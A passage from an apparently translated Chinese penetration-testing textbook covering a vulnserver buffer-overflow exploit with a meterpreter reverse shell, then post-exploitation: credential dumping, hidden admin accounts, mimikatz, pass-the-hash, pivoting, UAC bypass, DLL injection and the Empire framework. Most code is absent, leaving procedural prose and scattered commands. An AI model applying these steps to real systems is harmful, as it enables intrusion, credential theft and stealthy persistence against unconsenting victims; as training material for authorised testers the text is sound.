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保存exploitfuzz.spk文件并运行相同的命令，如图11.28所示：
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图11.28　运行exploitfuzz.spk

你现在应该能看到受害者计算机上的服务器崩溃了，Windows还提供了有用的信息，我们可以看到异常偏移41414141（转换为AAAA），如图11.29所示。

现在我们知道，脆弱的命令TRUN造成了崩溃，我们必须关注导致崩溃的原因。这可以通过运行wireshark来完成，它将为我们提供导致服务器崩溃的确切请求。

1）用正确的以太网适配器运行wireshark。

2）重复利用模糊处理器（generic_send_tcp target port exploitfuzz.spk 00）。

3）用过滤器tcp.port==9999过滤wireshark。

4）右键单击该包遵循TCP流。你应该能看到如图11.30所示的界面。
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图11.29　看到的Windows信息
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图11.30　TCP流

现在让我们继续编写一个简单的Python程序来击垮服务器。使用一个简单的套接字程序连接到IP，并使用10000*Z的缓冲区来运行该命令，下面的代码提取提供了对应用程序漏洞进行模糊处理和调试的第一步。
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将文件保存为crash.py，并在目标IP上运行它，你可以看到server dead，服务器最大缓冲为10000，这意味着Z*10000作为输入会使服务器崩溃，如图11.31所示。
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图11.31　server dead

现在，下一步是确定到底有多少字符导致了服务器崩溃，以及可以使用的缓冲区大小。在服务器端，我们必须调试应用程序。为了进行调试，我们将从https://www.immunityinc.com/products/debugger/
 下载免疫调试器。这些调试器主要用于查找漏洞，分析恶意软件并逆向工程任何二进制文件。

关注易受攻击的服务器，加载vulnerableserver.exe到免疫调节器，然后运行该应用程序，如图11.32所示。
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图11.32　运行vulnerableserver.exe

下一步是使用Metasploit框架，通过定位文件usr/share/metasploit-framework/tools/exploit/并且在终端运行./pattern_create-l 4000创建一个模式，如图11.33所示。
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图11.33　创建pattern

你可以将生成的内容输出到一个文件中，也可以从终端中复制或者通过添加其他变量来添加到Python程序中。这一次，我们将禁用缓冲区，并使用由开发工具创建的模式，其长度为4000，代码如下所示。
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再一次针对目标运行crash.py，将导致服务器再次崩溃，并且所有的Z字符都被所创建的模式所取代。在脆弱的服务器上，我们能够看到来自免疫调试器的寄存器，它提供了存储在EIP中的下一条指令，如图11.34所示。
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图11.34　在脆弱服务器上看到寄存器

现在，模糊处理结束了。接下来，我们将重点讨论如何创建特定的Windows漏洞。


11.6.2　制作特别的Windows漏洞

要创建特别的Windows漏洞，我们必须确定EIP的正确偏移量。这可以通过使用漏洞利用工具，如patter_offset来提取，这些工具使用了EIP的输入，其长度与创建模式的长度相同：
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这意味着在创建的模式中使用EIP找到了偏移匹配。现在我们知道，缓冲2002已经足以让服务器崩溃，我们可以开始溢出。

下一步是发现EIP寄存器存储的汇编JMP ESP的操作码。在免疫调试器中，查看可执行模块并选择essfunc.dll，如图11.35所示。
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图11.35　查看可执行模块

右键单击并搜索命令，输入jmp esp。我们应该能够看到第一个jmp esp寄存器的CPU线程。复制地址625011AF FFE4JMP ESP，如图11.36所示。
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图11.36　CPU线程

625011AF是存放汇编操作码的位置。下一步是将地址转换为xAF\x11\x50\x62的shell代码。

使用msfvenom创建一个Windows有效负载，在终端上运行下面的命令，该命令将在攻击者的IP上提供一个meterpreter反向shell。
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最后，我们处于完成开发的最后阶段，通过添加NOP，然后溢出缓冲区，并将shell代码写入运行的脆弱服务器系统。下面的代码是利用脆弱服务器的完整Python代码：
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一旦利用完成，请确保监听器正在运行，如图11.37所示。
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图11.37　监听器正在运行

现在一切都已经设置好了，攻击者可以使用Python编程来执行和制作Windows特定的漏洞。下一步是从终端运行crash.py，如下代码所示。
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成功利用shell代码覆盖了缓冲区，然后作为一个反向shell给攻击者，如图11.38所示。
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图11.38　攻击成功


11.7　小结

在这一章中，我们将重点放在漏洞利用的基础上，以及介绍将侦察发现转化为确定行为的不同工具，从而在测试人员和目标之间建立正确连接。

Kali提供了多个工具来促进开发、选择和激活利用，包括内部的Exploit-DB数据库，以及一些简化了使用和管理的框架。我们深入了解了Metasploit框架，使用Armitage管理多个shell，我们还学习了如何将不同类型的Exploit-DB文件编译成真正的漏洞利用软件。

我们还关注如何通过识别不同的模糊技术，并将shell代码加载到自定义的漏洞中来制作Windows的漏洞。

在下一章中，我们将学习攻击者杀链最重要的部分和后期利用、特权升级、网络中的横向移动、域信任和端口转发。


第12章　行动的目的

“一个真正的目标始终是战术性的、精确的、有形的、具体的。”

如果将利用一个系统定义为渗透测试的目的，那么在目标上的行动是测试者的真正目的。这一步表明了漏洞的严重程度，以及它对组织的影响。本章将重点介绍即时的后期利用活动，也关注横向升级方面——使用有漏洞系统作为起点，跳转到网络上的其他系统的过程。

在本章结尾，你将学到以下知识：

·本地特权升级。

·后期利用工具。

·目标网络内的横向运动。

·妥协域信任。

·枢轴和端口转发。


12.1　在入侵本地系统上的活动

通常，很有可能获得一个系统的Guest或User访问权限。攻击者获得重要信息的能力，将受到降低的权限级别的限制。因此一个常见的后期利用行为是将访问权限从Guest级别不断提升到User，再到Administrator，最后到SYSTEM级别。这种提升访问权限的方式通常被称作垂直升级（vertical escalation）。

·用户可以通过一些技术来获得高级访问凭证，包括以下几个方法：

·使用网络嗅探器、键盘记录器，来捕获传送的用户凭证（dsniff可以用来分离正在进行的传输中的密码，或者从Wireshark或tshark会话中保存的一个pcap文件）。

·对本地存储的密码进行一个检索。有些用户收集电子邮件文件夹的密码（经常被称为password），由于密码重复使用，简单的密码系统是很常见的，所以找到那些密码，并在升级的过程中使用。

·NirSoft（www.nirsoft.net
 ）开发了几款免费的工具，可以上传到入侵系统中，使用meterpreter从操作系统和缓存密码的应用程序（邮件应用程序、远程访问软件、FTP和网络浏览器）中分离出密码。

·使用meterpreter等应用程序来转储SAM和SYSKEY文件。

·当一些应用程序加载时，它们使用特殊的顺序读取动态链接库（dynamic link library，DLL）文件。创建一个与合法DLL同名的假DLL文件是可能的，把它放在一个特定的目录位置，让应用程序加载并执行它，最终实现攻击者的权限提升。一些应用程序容易受到DLL劫持（www.exploit-db.com/dll-hijacking-vulnerable-applications/
 ）。

·使用利用缓冲区溢出，或其他手段来提升权限的渗透方式。

·通过meterpreter执行getsystem脚本，自动地将管理员权限提升到系统级别。


12.1.1　对已入侵的系统进行快速侦察

一旦系统被入侵，攻击者需要获得有关该系统的关键信息，它的网络环境、用户和用户账号等信息。通常情况下，他们将在shell提示符下输入并调用一系列命令或脚本。

如果被入侵的系统是基于UNIX平台的，典型的本地侦察命令见表12.1。

表12.1　UNIX平台的本地侦察命令
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这些命令包含了可用选项的简要说明。完整信息请参考相应的命令的帮助文件，在哪里可以了解如何使用命令的选项。

对于Windows系统，命令形式如表12.2所示。

表12.2　Windows系统下的侦察命令
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12.1.2　找到并提取敏感数据——掠夺目标

术语掠夺（pillaging，有时也称为pilfering）是黑客成功攻击计算机系统后的延续，这些黑客像海盗一样尽最大可能偷窃和毁坏目标。这个术语已经流传下来，特指当一个系统被攻占后，攻击者完成偷窃和修改个人财产以及财务数据的行为。

之后，攻击者聚焦在第二目标——系统文件，利用这些系统文件提供的信息来支持另外的攻击。第二目标的文件的选择依赖于目标的操作系统。举个例子来说，如果系统是UNIX，那么攻击者就会把下列文件作为工作目标：

·系统和配置文件（通常在目录/etc下，但也可能在/usr/local/etc，或者是其他位置）。

·密码文件（/etc/password和/etc/shadow）。

·配置文件和在.ssh目录中的公钥和私钥。

·可能包含在.gnupg里的公钥和私钥环。

·电子邮件和数据文件。

在Windows系统中，攻击者会将以下文件作为攻击目标：

·可被用来提取口令、加密密钥等的系统内存。

·系统注册表文件。

·安全账号管理（Security Accounts Manager，SAM）数据库，包含口令的散列版本或者SAM

·数据库的替代版，可以在%SYSTEMROOT%\repair\SAM与%SYSTEMROOT%\System32\config\RegBack\SAM中找到它。

·任何用于加密的口令文件或者种子文件。

·电子邮件和数据文件。

别忘了检查包含临时项目的文件夹。举个例子，UserProfile\AppData\Local\Microsoft\Windows\Temporary Internet Files\可能包含让人感兴趣的文件、图片、和cookies。

如上所述，这些系统内存包含了大量的攻击者可以利用的信息。因此，它通常是一个你需要优先获取的文件。系统内存可以从几个来源下载，下载文件是一个独立的映射文件，这些来源如下：

·通过上传一个工具到被攻击的系统然后直接复制内存（这些工具包括Belkasoft RAMcapturer、MandiantMemoryze和MonsolsDumpIt）。

·通过复制Windows冬眠文件hiberfi l.sys，然后利用Volatility来解密和分析文件。Volatility，在Kali中Forensics菜单中可以找到，是一个分析内存的框架，内存可以来自系统RAM，以及其他包含系统内存的文件。它依赖于写在Python中的插件来分析内存和提取数据，这些数据包括加密密钥、口令、注册信息，以及其他相关信息。

·通过复制一个虚拟机，然后将VMEM文件转化为内存文件。

如果你上传一个设计的程序，在被攻击的系统中来抓取内存，有可能这个特殊的应用会被杀毒软件识别为恶意软件。大多数的杀毒软件能识别散列签名和内存获取软件的行为，如果物理内存的敏感数据有被泄露的风险，它就会通过拉响警报来保护物理内存的敏感数据。获取软件将被隔离，目标会收到一个关于这个攻击的警告报警。

为了避免这种情况的发生，用Metasploit框架，使用命令来运行在目标内存中的可执行文件，这个命令如下：
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前面执行的命令calc.exe是一个假的可执行文件，但是，实际上上传了内存获取执行文件，并在它的进程空间中运行。

这个可执行文件并不显示在程序列表中，例如任务管理器（Task Manager），并且使用数据取证技术的检测更加困难，因为它并不写到硬盘中。此外，它会避开系统的杀毒软件，因为它一般不在内存空间去搜索恶意软件。

物理内存一旦被下载，利用Volatility框架，内存就可以被分析，Volatility框架是设计来取证、分析内存的一系列Python脚本。如果操作系统支持，Volatility将会扫描内存文件并提取下列内容：

·图片信息和系统数据，充分到可以将映像与源系统联系在一起。

·运行进程、DLL、线程、套接字、连接和模块。

·开放的网络套接字和连接，最近打开的网络连接。

·内存地址，包括物理的和虚拟的内存映射。

·LM/NTLM散列和LSA私钥。LanMan（LM）口令散列是微软保护口令的初衷。这么多年过去了，现在它已经很容易被攻击，而且很容易将这些散列恢复成实际的口令。NT LanMan（NTLM）是最新的抵抗攻击的散列。然而，它们通常和NTLM版本一起存储，以达到向后兼容的目的。本地安全权威（Local Security Authority，LSA）存储的密钥是本地的口令：远程访问（有线的和无线的）、VPN、自动登录口令，等等。任何存储在系统的口令都是脆弱的，特别是当用户重复使用口令时。

·特定的正则表达式或字符串存储在内存中。


创建附加账户


下面的命令是具有高度侵略性的，通常会被系统拥有者在应急响应程序中检测到。然而，它们会频繁地被一个攻击者采用，以此来转移对更持久的访问机制的注意，相关的命令参见表12.3。

表12.3　一些具有高度侵略性的命令
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如果你创建一个新的用户账户，那么该账户会被任何一个登录进入被攻击系统的欢迎界面的用户注意到。为了使这个账户不可见，你需要用下列的REG命令行修改注册表：
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这个命令将修改指定的注册表来隐藏用户账户（/V）。基于目标的特别的操作系统版本，会有一些特别的语法要求，因此，首先得确定Windows版本，并且在攻击目标之前，在一个可控的环境中验证它。


12.1.3　漏洞利用后期工具（MSF、Veil-Pillage框架、脚本）

Metasploit被用来支持渗透和后期渗透利用活动。目前的版本包括大约200个模块，模块简化了后期利用活动。我们将讨论一些最重要的模块。

在下面的屏幕截图中，我们成功地渗透了一个Windows XP系统（一个“经典”的攻击，经常被用来验证Meterpreter的复杂性）。第一步就是直接侦察网络和被攻击系统。

初始的meterpreter shell，在一段时间内是脆弱的和易受攻击的。因此，一旦一个系统被渗透，我们将移动这个shell，然后将其和一个更加稳定的进程绑定在一起。这样也会使得渗透更难被检测到。在meterpreter的提示下，输入ps来获得一系列的运行进程，如图12.1所示。
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图12.1　使用meterpreter，输入ps来获得进程列表

ps命令会返回每个进程的完整路径。在图12.1中，这点被忽略了。ps列表标明c：\windows\Explorer.EXE正在运行。在这个特殊的例子中，它被识别为ID为1460的进程，如图12.2所示。由于这是一个稳定的应用，我们将把shell移动到这个进程中。
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图12.2　将shell移动至ID为1460的进程

我们必须确认的第一个事实是：我们是否在一个虚拟机上？使用meterpreter，打开受损系统和攻击者之间的会话，执行run post/windows/gather/checkvm命令，如图12.3所示。

返回的数据表明，这是一个VMware虚拟机。
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图12.3　执行命令后返回的数据

一些通过meterpreter使用的重要的后期利用模块见表12.4。

表12.4　meterpreter的重要的后期利用模块
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例如，让我们在入侵的系统上运行winenum，它将转储系统所有的重要的注册表项、LM散列、横向运动和特权升级。这可以通过在meterpreter shell上执行run winenum来实现，如图12.4所示。
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图12.4　执行run winenum

你将看到确认信息：All tokens have been processed（所有的确认令牌已被处理），如图12.5所示。

攻击者可以通过使用meterpreter和改名模块来假冒会话令牌。最初，它是一个独立的模块，通过使用会话令牌来创建一个模拟用户。这些类似于网络会话的cookie识别用户，而不必每次都要求输入用户名和密码。对于同样的情况，这里通过使用令牌来应用于计算机和网络。
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图12.5　确认信息

攻击者可以通过在meterpreter shell执行use incognito来运行incognito，如图12.6所示。
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图12.6　运行incognito

例如，如果本地用户使用了meterpreter shell，现在将用户令牌模拟为系统用户NT Authority，普通用户可以享受系统用户的特权。

为了运行这个模拟，攻击者可以从metpreter shell运行impersonate_token，如图12.7所示。
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图12.7　运行impersonate_token


12.1.4　Veil-Pillage

Veil-Pillage是一个模块，作为主要Veil框架的一部分开发，攻击者可以在后期开发过程中使用该模块。在本节中，我们将简要介绍一下Veil-Pillage的组织方式，以及可用于实现渗透测试目标的不同类型。图12.8描述了Veil-Pillage框架的主要部分：
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图12.8　Veil-Pillaged主要部分

Pillage框架中所有可用模块的更多详情如下：

·凭证（Credentials）：提供一个模块列表，用于抓取所有证书，并且哈希转储入侵系统的有效用户名和密码。

·枚举（Enumeration）：本节提供了一个模块列表，专门用于枚举域网络，同时提供了一个验证凭据的模块。

·碰撞（Impacket）：可以用来运行不同类型的shell（SMB、PsExec）。

·管理（Management）：管理和升级特权，如启用远程桌面、注销和检查UAC等。

·有效载荷传递（Payload_delivery）：一个模块列表，用于传递不同种类（如EXE和PowerShell）的有效载荷。

·持久性（Persistence）：包括在持久性会话中的关键模块，例如添加本地和域用户、查找粘滞键，等等。

·强应用（Powersploit）：掠夺的最重要的部分，其中模块被设计为远程代码执行，数据提取和运行自定义的PowerShell漏洞。

Veil-Pillage可以直接从GitHub的终端：https://github.com/Veil-Framework/Veil-Pillage
 运行git clone。

一旦Git被克隆，cd Veil-Pillage/，通过运行./update.py来更新最新程序包。Git clone满足旧版本的impacket，它可能不会运行Veil-Pillage，因此建议运行pip install impacket==0.9.13。

下载应用程序后，可以从克隆的位置./Veil-Pillage.py运行./Veil-Pillage.py，将看到如图12.9所示的界面。

[image: ]


图12.9　运行Veil-Pillage

面临未找到模块的错误提示消息的测试人员，例如“No module namedmodules.*”，测试人员必须确保已经将Veil-evasion安装在Kali上，并确保安装了impacket 0.9.13。

这是一个相当简单易用的界面，最重要的命令如下：

·use：与Metasploit类似，使用模块。

·set：设置模块的特定参数。

·setg：设置一个可以使用的全局变量。

现在，让我们开始使用Vill-Pillage进行掠夺活动，通过运行以下命令设置目标和凭据：
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允许攻击者设置多个目标，对于域连接的计算机，相同的用户名和密码应该没有任何问题。在上面的例子中，我们将添加一个本地用户（local user）到域连接的计算机。一旦完成，你应该可以看到如图12.10所示的界面。

攻击者终于进入了Vill-Pillage的run；如果凭据正确，则必须创建本地用户后门，并将其添加到同一系统上的本地管理员。本地用户创建成功后，应该可以看到如图12.11所示的界面。

下一步是启用远程登录，登录到域控制器，并使用新创建的用户后门登录。如果在入侵系统上未启用RDP，则攻击者可以利用Veil-Pillage框架的management/enable_rdp模块框架。下载mimikatz，并以纯文本格式转储所有密码，如图12.12所示。
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图12.10　增加local user
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图12.11　本地用户增加成功
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图12.12　运行mimikatz


12.2　横向提升与横向运动

在横向升级中，攻击者保留其现有的凭据，但是，用它们去模拟不同的用户账户。例如，被入侵系统A上的一个用户，去攻击系统B上的一个用户，尝试去入侵系统B。

用户可以通过一些技术来获得高级访问凭证，包括以下几种方法。


12.2.1　侵入信任与共享域

在本节中，我们将讨论可以操纵的域层次结构，并利用在Active Directory上实现的功能。

攻击者通常使用Windows凭据编辑器（Windows Credential Editor，WCE）来添加、更改、列表和获取NT/LM哈希值，并列出登录会话。WCE下载地址为：http://www.ampliasecurity.com/research/windows-credentials-editor/
 。

使用meterpreter shell，可以将WCE.exe上传到入侵的系统，如图12.13所示。将文件上传到系统后，运行shell命令查看WCE是否成功；运行wce.exe-w将列出使用明文密码的所有用户登录会话。
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图12.13　运行wce.exe–w

随后，这些凭据可以被攻击者横向移动到网络中，在多个系统上使用。

渗透测试人员可以大量利用PowerShell的自动的权威工具来执行特定于Active Directory、其他信任域和特权升级等的攻击，我们将在第13章中进行探讨。


12.2.2　PsExec、WMIC和其他工具

PsExec是微软关于Telnet的替代，可以从路径https://technet.microsoft.com/en-us/sysinternals/bb897553.aspx
 下载。

通常，攻击者利用PsExec模块，使用有效凭证获得与远程系统的访问与通信，如图12.14所示。

最初，该可执行文件是为系统内部设计的，以作为框架的一部分来解决任何问题。现在可以通过运行PsExec Metasploit模块并执行远程选项。这将打开一个壳；测试人员可以输入用户名和密码，也可以传递哈希值，因此无须破解密码哈希即可访问系统。现在，如果一个系统在网络上受到入侵，那么不需要任何密码，就可以执行所有横向移动。
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图12.14　运行PsExec

图12.15提供了具有有效凭据的PsExec的Metasploit模块。
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图12.15　具有有效凭据的PsExec的Metasploit模块


WMIC


针对新的目标系统，攻击者和渗透测试人员利用内置的脚本语言。例如，Windows设备管理命令行（Windows Management Instrumentation Command-line，WMIC），通过使用命令行和脚本界面来简化访问Windows配置。如果被渗透系统支持WMIC，可以通过一些命令来收集信息。请参见表12.5。

表12.5　支持WMIC的信息收集命令
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PowerShell是一种基于.NET框架的脚本语言，从控制台上运行，提供用户访问Windows文件系统和对象的接口，例如注册表。Windows 7及更高的操作系统上默认安装PowerShell。WMIC为PowerShell提供了扩展脚本支持和自动化，允许Shell用户对本地和远程目标进行集成和互操作。

PowerShell让测试人员访问被击垮系统上的shell和脚本语言。作为Windows操作系统的自带程序，其使用的命令不会触发杀毒软件。当脚本在远程系统上运行时，由于PowerShell不会写入磁盘，因而可以绕过反病毒软件和白名单过滤（假设用户已经允许使用PowerShell）。

PowerShell支持一些被称为cmdlets的内置函数。PowerShell的优点之一是由于cmdlets是常见的UNIX命令的别名，所以在键入ls命令将返回一个典型的目录列表，如图12.16所示。
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图12.16　使用ls命令的屏幕截图

PowerShell是一种支持复杂操作的脚本语言，建议用户花时间来熟悉它的使用。一些较简单的、可以立即展示结果的命令见表12.6。

表12.6　简单的PowerShell命令表
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渗透测试人员可以使用Windows自带的命令文件、DLL、.NET函数、WMI调用和PowerShell的cmdlets命令一起创建后缀名为.ps1的PowerShell脚本。在使用WMIC利用凭证横向移动的例子中，攻击者在远程机器上运行进程，从内存转储明文密码。执行的命令如下：
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在渗透测试中，攻击者的能力需要面对一些限制。有效的利用、后利用PowerShell脚本，包括键盘记录，可以从Nikhil Mittal写的nishang包获得，可以访问URL：https://code.google.com/p/nishang/downloads/detail?name=nishang_0.3.0.zip
 。

侦察也应该扩展到本地网络。既然你正在“盲目”地工作，你将需要创建一个与被击垮主机通信的地图，被击垮主机包括实时系统和子网。首先在shell提示符下输入IFCONFIG（基于UNIX的系统）或IPCONFIG/ALL（Windows系统）。这将允许一个攻击者确定以下内容：

·DHCP地址是否有效。

·本地IP地址，这将确定至少有一个活跃子网。

·网关的IP地址和服务器地址。系统管理员通常遵循网络中的编号惯例，并且，如果攻击者知道一个地址，例如，一个网关服务器的地址192.168.0.1，他们将用ping找地址，如192.168.0.123、192.168.0.138等，通过这些地址寻找到其他子网。

·能过域名利用活动目录（Active Directory）账号。

如果攻击系统和目标系统使用的是Windows操作系统，net view命令可以用来枚举网络上的其他Windows操作系统。攻击者使用netstat–rn命令来审查那些包含通往其他网络，或者感兴趣系统的静态路由的路由表。

可以使用nmap来扫描本地网络嗅探出ARP广播。另外，Kail有几个工具可以用作SNMP端点分析工具，包括：nmap、onesixtyon和snmpcheck。

部署一个数据包嗅探器来映射流量将会帮助你识别主机名、活跃子网和域名。如果DHCP地址没有启用，它也将允许攻击者确定任何未使用的、静态的IP地址。Kail预先配置使用Wireshark（基于GUI的数据包嗅探器），但是你可以在一个后期利用脚本中，或者在命令行使用tshark，如图12.17所示。
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图12.17　使用tshank命令


12.2.3　使用服务的横向运动

如果渗透测试人员遇到没有PowerShell的系统调用呢？在这种情况下，SC可以非常方便地为你访问的所有系统或匿名访问共享文件夹的系统，在网络中执行横向移动。
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12.2.4　枢轴与端口转发

在第10章中，我们讨论了绕过内容过滤和NAC的端口转发的简单方法。在本节中，我们将使用Metasploit的meterpreter在目标上进行枢轴转换和转发。

在目标系统的活动会话期间，使用Meterpreter，攻击者可以使用同一个系统扫描内部网络。如图12.18所示，显示了具有两个网络适配器192.168.0.119和192.168.52.129的系统。

但是，攻击者的IP没有到达内部IP范围的路由；攻击者使用meterpreter可以在入侵系统增加路由，通过在meterpreter中运行run post/multi/manage/autoroute来启动后利用自动路由模块，如图12.19所示。该模块通过将使用入侵机器作为桥梁，从Kali攻击盒添加新路由到内部网络。

现在，从攻击者的IP到内部IP范围（192.168.0.52.x）的所有流量，都将通过入侵系统（192.168.0.x）进行路由。

现在，我们对meterpreter会话使用background，并尝试了解超出IP范围的内容，使用Metasploit中的NetBIOS扫描仪，命令如下：
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图12.18　有两个网络适配器的系统
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图12.19　执行runpost/multi/manage/autoroute

确保我们将RHOSTS设置为内部系统的IP范围（见图12.20）。这将使攻击者能够在跳频网络上找到更多的系统。
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图12.20　使用background

一旦使用NetBIOS识别系统，下一步是扫描所识别的主机的服务，以实现漏洞测试目标。典型的举措是在Metasploit模块中使用端口扫描器，如图12.21所示。

[image: ]


图12.21　使用扫描器


使用代理链


想要使用nmap和其他工具扫描网络以外的主机，渗透测试人员可以通过运行以下命令行来利用Metasploit模块的socks4a：
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通过编辑/etc/proxychains.conf，并将socks4配置更新为端口1080（或在Metasploit模块中设置的端口号），在运行模块后配置代理链（Proxychains）配置，如图12.22所示：
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图12.22　配置代理链

现在，攻击者将能够通过终端运行proxychains nmap-vv-sv 192.168.52.129来直接运行nmap。


12.3　小结

在本章中，我们着重介绍了渗透到目标系统后，紧接着要做的事。即对系统的服务特征与本地环境进行初始快速评估。我们还学习了如何使用后期开发利用工具来定位感兴趣的目标文件、创建用户账户，并执行横向升级来获取其他特定用户的更多信息。我们专注于Metasploit的meterpreter和Veil-Pillage，以收集更多的信息来执行横向移动和特权攻击。

在下一章中，我们将学习如何创建一个可持续访问的后门，还将学到与入侵系统进行隐蔽通信的技术。


第13章　特权升级

“要完成伟大的事情，不仅要通过行为，也要怀揣梦想，把自己的特权提升到最高水平。”

权限升级是指从相对较低的访问权限级别获得管理员、系统管理员或更高访问权限的过程。它允许渗透测试员拥有系统操作的所有权限。更重要的是，获取某些访问权限将允许测试人员通过网络控制所有系统。随着漏洞变得越来越难以找到和利用，人们在特权升级中进行了大量的研究，将其作为确保渗透测试成功的手段。

在本章中，我们将介绍以下主题：

·通用升级方法

·本地系统升级

·DLL注入

·PowerShell的Empire工具

·凭证收获和升级

·Active Directory访问权限

·针对Kerberos的金票攻击


13.1　常见的升级/扩展方法概述

从方法论开始，任何事情都有解决的方法。在本节中，我们将介绍攻击者在红队练习或渗透测试中使用的共同升级方法。图13.1描述了可以使用的方法。
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图13.1　共同升级方法

根据杀链方法，目标的行动包括对目标环境的主要持久性的特权升级。

访问任何典型的目标系统的步骤如下：

·普通用户（Normal user）：通过在用户级运行后门程序访问系统。他们是系统（Windows或UNIX）的普通用户。

·本地管理员：本地管理员是有权作系统配置更改的系统用户。

·委派的管理员：委派的管理员是具有管理员权限的本地用户。

·域管理员：域管理员是可以管理他们所属域的用户。

·企业管理员：企业管理员是在活动目录中维护整个网络，有最多权限的用户。

·架构管理员：架构管理员是可以配置网络的用户。


13.2　本地系统扩展

我们可以在用户的内容中运行Meterpreter shell。升级本地系统权限的方法很多，可以通过PowerShell自定义开发，也可以用Meterpreter shell来实现。

当攻击者最初访问系统并尝试运行系统级命令时，他们会收到拒绝访问（access denied）或没有权限在目标系统上运行命令（no privilege available to run the commands on the target system）的响应。这可以通过从Meterpreter控制台运行getsystem命令来验证，如图13.2所示。
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图13.2　运行getsystem失败

可以通过使用后期利用模块将background发送到Meterpreter shell，并使用后期利用模块bypassuac来绕过，如图13.3所示。
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图13.3　使用bypassuac

Meterpreter中的bypassuac模块将利用Meterpreter上的现有会话，提供更多特权的Meterpreter shell，如图13.4所示。
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图13.4　获得更多特权的Meterpreter shell


13.2.1　由管理员升级到系统管理员

系统管理员权限允许攻击者创建和管理账户，访问系统上大部分有效数据。然而，一些复杂的功能任务，要求请求者具有系统（SYSTEM）级别的访问权限。有几种方法可以实现将特权升级到系统级别。最常用的方法是用at命令，它是Windows过时的、没有安全的、为一个特定的时间分配任务的命令。at命令总是在系统级权限上运行，然而，现在只能以非交互模式运行（见图13.5）。
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图13.5　执行at命令

使用一个交互式的shell（在meterpreter命令提示符下输入shell），打开一个命令提示符，并确定被入侵系统的本地时间。如果时间是下午12：50（该功能采用24小时计时法），在稍晚的时间安排一个交互式的命令shell，如图13.6所示。
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图13.6　成功创建计划任务

当at任务指定好运行时间后，在meterpreter命令提示符下，再次确认一下你的访问权限，如图13.7所示。
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图13.7　在meterpreter命令提示符下确定权限级别

Windows 7和Windows 2008不允许不受信任的系统（如ADMIN$，C$等）远程访问管理共享。Meterpreter脚本可能需要这些共享，例如隐形模式或支持对SMB的攻击。为了解决这个问题，将HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System添加到注册表中，并添加一个名为LocalAccountTokenFilterPolicy的新DWORD（32位）密钥，并将其值设置为1。


13.2.2　DLL注入

DLL注入指攻击者在另一个进程的地址空间的上下文中运行远程代码的行为，是另一种简单的技术。此进程必须以超级权限运行，然后以DLL文件的形式升级特权。

Metasploit具有执行DLL注入的特定模块。攻击者唯一需要做的是链接现有的Meterpreter会话，并指定DLL的路径和进程的PID。

在Meterpreter shell上从/usr/share/metasploit-framework/data/exploits/CVE-2015-2426/reflection_dll.x64.dll上传DLL，用户可以看到上传到目标位置的文件，如图13.8所示。
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图13.8　上传DLL并查看上传到目标位置的文件

文件上传后，退出（exit）命令提示符，返回到Meterpreter shell。现在运行ps命令列出所有进程。识别在系统级运行的进程的ID；在示例中，我们将使用进程ID为3388的msdtc.exe，然后通过运行background命令来背景化Meterpreter shell。

通过运行post/windows/manage/reflection_dll_inject，在模块中使用后期利用reflective_dll_inject。然后设置PATH和SESSION并利用，如图13.9所示。
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图13.9　完成后期模块执行

另一种方法是利用PowerShell在远程主机上运行DLL的能力，并调用具有系统级特权的远程shell。攻击者可以通过运行以下命令，用msfvenom创建一个后门程序（见图13.10）：
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图13.10　用msfvenom创建后门程序

一旦有效载荷被注入到DLL中，攻击者就可以在Meterpreter中使用upload命令，将DLL转移到目标系统；或者，通过启动Apache服务（service apache2start）在同一个Kali机器上托管，接着将inject.dll文件移动到/var/www/html/，并从现有的Meterpreter shell将inject.dll上传到目标系统，然后下载Invoker PowerShell脚本，地址是：https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/CodeExecution/Invoke-DllInjection.ps1
 。最后将本地文件注入到现有的特权进程中。
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远程桌面进入目标系统，启动PowerShell，并运行以下命令，如图13.11所示。
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图13.11　远程注入DLL文件到目标系统

一旦成功调用DLL，必须执行有效负载，并且必须打开一个反向shell作为系统级用户，如图13.12所示。
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图13.12　打开反向shell作为系统级用户


13.2.3　PowerShell的Empire工具

Empire工具是当今最强大的后期开发工具，并被全球渗透测试人员用来在渗透测试中执行各种不同的攻击，以论证系统漏洞。此工具运行的PowerShell代理程序本质上是持久的。它还利用其他重要的工具，如mimikatz。在本节中，我们将更加深入地了解如何使用PowerShell的Empire工具来升级被入侵系统的权限，而无须植入任何后门或使用任何入侵技术。

渗透测试人员可以使用git克隆资源库：
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一旦安装完成，我们应该看到提示输入服务器协商的密码。同样可以用来重置数据库，如图13.13所示。
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图13.13　提示输入服务器协商的密码

使用Empire工具时需要注意的一个重要文件是reset.sh。该文件用于完全擦除数据库并启动新的数据库。一旦安装了应用程序，下一步就是运行./empire，攻击者应该可以看到Empire工具，如图13.14所示。

[image: ]


图13.14　进入Empire工具命令行窗口

目前的Empire工具有大约267个内置模块。表13.1提供了使用Empire工具非常关键的命令列表，类似于Metasploit和Veil-Pillage；然而，这些命令使用时有自己特定的方式。

表13.1　Empire工具非常关键的命令
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Empire工具有以下四个重要角色：

·监听器（Listener）：类似于Meterpreter监听器，等待于被入侵系统的连接。监听器管理提供不同类型的接口：dbx、http、http_com、http_foreign、http_hop和meterpreter。在本章中，我们将探讨http。

·Stager：Stager提供OS X、Windows和其他操作系统的模块列表。它们是DLL、宏、单行和其他内容。

·代理（Agent）：代理是连接到听众的“僵尸”。可以通过运行代理（agent）命令访问所有代理，这将直接进入代理菜单。

·日志记录和下载（Logging and downloads）：只有当代理成功连接到侦听器时，才能访问此部分。与Meterpreter类似，Empire工具允许我们通过PowerShell在本地机器上运行mimikatz，并导出细节以执行更为集中的攻击。

首先是设置本地监听器。命令listeners将帮助我们跳转到监听器菜单。这里会显示所有的活动监听器。使用listener http命令创建一个监听器，如图13.15所示。
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图13.15　用listener http命令创建监听器

一旦选择了监听器，默认情况下设置端口号为80。如果你正在运行HTTP服务，可以通过输入set Port portnumber（设置端口号）来更改。请记住，Empire工具中的所有命令都区分大小写。你可以使用能自动更正命令并提供选项的标签功能。

下一步是执行和启动，如图13.16所示。启动器允许选择Python或PowerShell语言。
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图13.16　更改端口号并启动监听器

为了使系统成为其代理，攻击者可以利用他们现有的Meterpreter会话来运行PowerShell，以及由Empire工具生成的有效载荷。

一旦有效载荷在远程系统上运行，Empire工具界面必须显示以下内容，如图13.17所示。
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图13.17　活动代理的主要信息

为了与代理交互，必须输入interact“name of the agent”（要交互代理的对象的名称）。你可以从HTTP监听器运行system level（系统级）命令到代理，如图13.18所示。
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图13.18　实现与目标代理交互

